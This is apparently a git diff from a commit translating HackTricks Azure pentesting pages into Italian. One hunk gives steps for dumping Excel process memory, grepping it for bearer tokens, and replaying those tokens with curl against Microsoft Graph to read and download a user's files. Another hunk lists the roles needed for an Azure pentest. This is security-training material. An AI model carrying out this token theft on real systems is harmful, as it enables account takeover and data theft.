||||
1. Dump the excel processes synchronized with in EntraID user with your favourite tool.
|
||||
2. Run: `string excel.dmp | grep 'eyJ0'` and find several tokens in the output
|
||||
3. Find the tokens that interest you the most and run tools over them:
|
||||
Passaggi:
|
||||
|
||||
1. Dumpa i processi di excel sincronizzati con l'utente EntraID con il tuo strumento preferito.
|
||||
2. Esegui: `string excel.dmp | grep 'eyJ0'` e trova diversi token nell'output
|
||||
3. Trova i token che ti interessano di più e esegui strumenti su di essi:
|
||||
```bash
|
||||
# Check the identity of the token
|
||||
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
|
||||
@@ -31,11 +30,6 @@ curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sit
|
||||
┌──(magichk㉿black-pearl)-[~]
|
||||
└─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
|
||||
```
|
||||
|
||||
**Note that these kind of access tokens can be also found inside other processes.**
|
||||
**Nota che questi tipi di access token possono essere trovati anche all'interno di altri processi.**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,11 +1,7 @@
|
||||
# Az - Permissions for a Pentest
|
||||
# Az - Permessi per un Pentest
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
To start the tests you should have access with a user with **Reader permissions over the subscription** and **Global Reader role in AzureAD**. If even in that case you are **not able to access the content of the Storage accounts** you can fix it with the **role Storage Account Contributor**.
|
||||
Per iniziare i test, dovresti avere accesso con un utente con **permessi di Lettore sulla sottoscrizione** e **ruolo di Lettore Globale in AzureAD**. Se anche in quel caso non riesci ad accedere al contenuto degli **Storage accounts**, puoi risolverlo con il **ruolo di Contributore dell'Account di Archiviazione**.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user